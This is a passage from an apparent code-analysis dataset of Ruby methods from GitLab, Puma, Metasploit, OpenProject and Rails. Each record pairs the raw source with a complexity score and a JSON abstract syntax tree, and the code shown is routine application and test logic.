LEASE_TIMEOUT)\n .try_obtain\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"try_obtain_lease_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_id\"]},{\"type\":\"arg\",\"children\":[\"statistics\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ExclusiveLease\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project_cache_worker_key\",{\"type\":\"lvar\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"statistics\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"const\",\"children\":[null,\"LEASE_TIMEOUT\"]}]}]}]},\"try_obtain\"]}]}","id":"cf07f1d6-4572-4195-b729-3d77dda0f09c"} {"repo_name":"puma","file_path":"./repos/puma/test/test_rack_handler.rb","start_line":23,"raw_source":"def test_on_booted\n on_booted = false\n events = Puma::Events.new\n events.on_booted do\n on_booted = true\n end\n\n launcher = nil\n thread = Thread.new do\n Rack::Handler::Puma.run(app, events: events, Verbose: true, Silent: true, Port: 0) do |l|\n launcher = l\n end\n end\n\n # Wait for launcher to boot\n Timeout.timeout(10) do\n sleep 0.5 until launcher\n end\n sleep 1.5 unless Puma::IS_MRI\n\n launcher.stop\n thread.join\n\n assert_equal on_booted, true\n end","complexity_score":25.18,"ast_json":"{\"type\":\"def\",\"children\":[\"test_on_booted\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"on_booted\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"Events\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"on_booted\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"on_booted\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"launcher\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"thread\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Handler\"]},\"Puma\"]},\"run\",{\"type\":\"send\",\"children\":[null,\"app\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"events\"]},{\"type\":\"lvar\",\"children\":[\"events\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Verbose\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Silent\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Port\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"lvasgn\",\"children\":[\"launcher\",{\"type\":\"lvar\",\"children\":[\"l\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"timeout\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"until\",\"children\":[{\"type\":\"lvar\",\"children\":[\"launcher\"]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.5]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"IS_MRI\"]},null,{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[1.5]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"launcher\"]},\"stop\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"join\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"on_booted\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"68ea7a8c-3b18-4831-a314-388d63063924"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/web.rb","start_line":20,"raw_source":"def report_web_form(opts)\n return if not active\n ::ApplicationRecord.connection_pool.with_connection {\n opts = opts.clone() # protect the original caller's opts\n wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)\n\n path = opts[:path]\n meth = opts[:method].to_s.upcase\n para = opts[:params]\n quer = opts[:query].to_s\n site = nil\n\n if not (path and meth)\n raise ArgumentError, \"report_web_form requires the path and method parameters\"\n end\n\n if not %W{GET POST PATH}.include?(meth)\n raise ArgumentError, \"report_web_form requires the method to be one of GET, POST, PATH\"\n end\n\n if opts[:web_site] and opts[:web_site].kind_of?(::Mdm::WebSite)\n site = opts.delete(:web_site)\n else\n site = report_web_site(\n :workspace => wspace,\n :host => opts[:host], :port => opts[:port],\n :vhost => opts[:host], :ssl => opts[:ssl]\n )\n if not site\n raise ArgumentError, \"report_web_form was unable to create the associated web site\"\n end\n end\n\n ret = {}\n\n # Since one of our serialized fields is used as a unique parameter, we must do the final\n # comparisons through ruby and not SQL.\n\n form = nil\n ::Mdm::WebForm.where(web_site_id: site[:id], path: path, method: meth, query: quer).each do |xform|\n if xform.params == para\n form = xform\n break\n end\n end\n if not form\n form = ::Mdm::WebForm.new\n form.web_site_id = site[:id]\n form.path = path\n form.method = meth\n form.params = para\n form.query = quer\n end\n\n msf_assign_timestamps(opts, form)\n form.save!\n ret[:web_form] = form\n }\n end","complexity_score":91.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_web_form\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApplicationRecord\"]},\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"clone\"]}]},{\"type\":\"lvasgn\",\"children\":[\"wspace\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"DBManager\"]},\"process_opts_workspace\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"meth\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"method\"]}]},\"to_s\"]},\"upcase\"]}]},{\"type\":\"lvasgn\",\"children\":[\"para\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"params\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"quer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"query\"]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"site\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"meth\"]}]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"report_web_form requires the path and method parameters\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"GET\"]},{\"type\":\"str\",\"children\":[\"POST\"]},{\"type\":\"str\",\"children\":[\"PATH\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"meth\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"report_web_form requires the method to be one of GET, POST, PATH\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"web_site\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"web_site\"]}]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mdm\"]},\"WebSite\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"site\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"web_site\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"site\",{\"type\":\"send\",\"children\":[null,\"report_web_site\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssl\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ssl\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"site\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"report_web_form was unable to create the associated web site\"]}]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"form\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mdm\"]},\"WebForm\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"web_site_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"site\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"meth\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"quer\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xform\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xform\"]},\"params\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"para\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"form\",{\"type\":\"lvar\",\"children\":[\"xform\"]}]},{\"type\":\"break\",\"children\":[]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"form\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mdm\"]},\"WebForm\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"web_site_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"site\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"path=\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"method=\",{\"type\":\"lvar\",\"children\":[\"meth\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"params=\",{\"type\":\"lvar\",\"children\":[\"para\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"query=\",{\"type\":\"lvar\",\"children\":[\"quer\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"msf_assign_timestamps\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"lvar\",\"children\":[\"form\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"web_form\"]},{\"type\":\"lvar\",\"children\":[\"form\"]}]}]}]}]}]}","id":"a5fb3573-768b-4bbb-99a9-e88a2fa7fc9f"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/activities_tab/journals/item_component/edit.rb","start_line":52,"raw_source":"def wrapper_uniq_by\n journal.id\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wrapper_uniq_by\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journal\"]},\"id\"]}]}","id":"b6944054-18d6-46a0-904c-2dcf21879347"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250327005558_create_admin_roles.rb","start_line":6,"raw_source":"def up\n create_table :admin_roles do |t|\n t.text :name, null: false, limit: 255\n t.text :description, limit: 255\n t.jsonb :permissions, null: false, default: {}\n\n t.timestamps_with_timezone null: false\n end\n\n add_index :admin_roles, :name, unique: true\n end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"admin_roles\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"permissions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"admin_roles\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"a8aed11a-13f7-4462-bbbb-083f6e2ed31e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/rack_attack/request.rb","start_line":248,"raw_source":"def protected_paths_regex\n Regexp.union(protected_paths.map { |path| /\\A#{Regexp.escape(path)}/ })\n end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"protected_paths_regex\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"union\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"protected_paths\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"2b50e97c-82e4-45ad-be68-34bf74b10997"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/tasks/ci/validate_id_token_configuration_task.rb","start_line":85,"raw_source":"def verify_jwt_id_token!(id_token:, open_id_configuration:, algorithm:, kid:)\n public_key = get_public_key(open_id_configuration: open_id_configuration, kid: kid)\n\n JWT.decode(\n id_token,\n public_key,\n true,\n {\n algorithm: algorithm,\n verify_exp: true,\n verify_iat: true,\n verify_aud: true,\n verify_iss: true,\n aud: aud_claim,\n iss: ::Gitlab.config.ci_id_tokens.issuer_url\n }\n )\n rescue JWT::DecodeError => e\n raise \"JWT verification failed: #{e.message}\"\n end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_jwt_id_token!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"id_token\"]},{\"type\":\"kwarg\",\"children\":[\"open_id_configuration\"]},{\"type\":\"kwarg\",\"children\":[\"algorithm\"]},{\"type\":\"kwarg\",\"children\":[\"kid\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"public_key\",{\"type\":\"send\",\"children\":[null,\"get_public_key\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"open_id_configuration\"]},{\"type\":\"lvar\",\"children\":[\"open_id_configuration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"kid\"]},{\"type\":\"lvar\",\"children\":[\"kid\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JWT\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"id_token\"]},{\"type\":\"lvar\",\"children\":[\"public_key\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"lvar\",\"children\":[\"algorithm\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_exp\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_iat\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_aud\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_iss\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aud\"]},{\"type\":\"send\",\"children\":[null,\"aud_claim\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iss\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"config\"]},\"ci_id_tokens\"]},\"issuer_url\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JWT\"]},\"DecodeError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"JWT verification failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"7e5a0109-21dc-45c7-a7be-497fc62b09f6"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":580,"raw_source":"def test_creates_current_environment_database\n with_stubbed_configurations_establish_connection do\n assert_called_with(\n ActiveRecord::Tasks::DatabaseTasks,\n :create,\n [config_for(\"test\", \"primary\")]\n ) do\n ActiveRecord::Tasks::DatabaseTasks.create_current(\n ActiveSupport::StringInquirer.new(\"test\")\n )\n end\n end\n end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_creates_current_environment_database\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_stubbed_configurations_establish_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config_for\",{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"str\",\"children\":[\"primary\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"create_current\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"StringInquirer\"]},\"new\",{\"type\":\"str\",\"children\":[\"test\"]}]}]}]}]}]}","id":"b8df4ae9-f38a-4522-b524-71be0a9fc1e3"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/array/conversions_test.rb","start_line":191,"raw_source":"def test_to_xml_with_instruct\n xml = [\n { name: \"David\", age: 26, age_in_millis: 820497600000 },\n { name: \"Jason\", age: 31, age_in_millis: BigDecimal(\"1.0\") }\n ].to_xml(skip_instruct: false, indent: 0)\n\n assert_match(/^<\\?xml [^>]*/, xml)\n assert_equal 0, xml.rindex(/<\\?xml /)\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_to_xml_with_instruct\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xml\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"David\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"age\"]},{\"type\":\"int\",\"children\":[26]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"age_in_millis\"]},{\"type\":\"int\",\"children\":[820497600000]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Jason\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"age\"]},{\"type\":\"int\",\"children\":[31]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"age_in_millis\"]},{\"type\":\"send\",\"children\":[null,\"BigDecimal\",{\"type\":\"str\",\"children\":[\"1.0\"]}]}]}]}]},\"to_xml\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_instruct\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^<\\\\?xml [^>]*\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"xml\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"rindex\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<\\\\?xml \"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]}","id":"9f45ad55-62b5-4246-9f5e-84aef9c8335c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/badge/template.rb","start_line":13,"raw_source":"def initialize(badge)\n @entity = badge.entity\n @key_text = badge.customization[:key_text]\n @key_width = badge.customization[:key_width]\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"badge\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@entity\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"badge\"]},\"entity\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@key_text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"badge\"]},\"customization\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key_text\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@key_width\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"badge\"]},\"customization\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key_width\"]}]}]}]}]}","id":"b6067bfa-e5b1-45b4-8be3-123a440a5c24"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/json_serialization_test.rb","start_line":277,"raw_source":"def test_should_allow_includes_for_list_of_authors\n authors = [@david, @mary]\n json = ActiveSupport::JSON.encode(authors,\n only: :name,\n include: {\n posts: { only: :id }\n }\n )\n\n ['\"name\":\"David\"', '\"posts\":[', '{\"id\":1}', '{\"id\":2}', '{\"id\":4}',\n '{\"id\":5}', 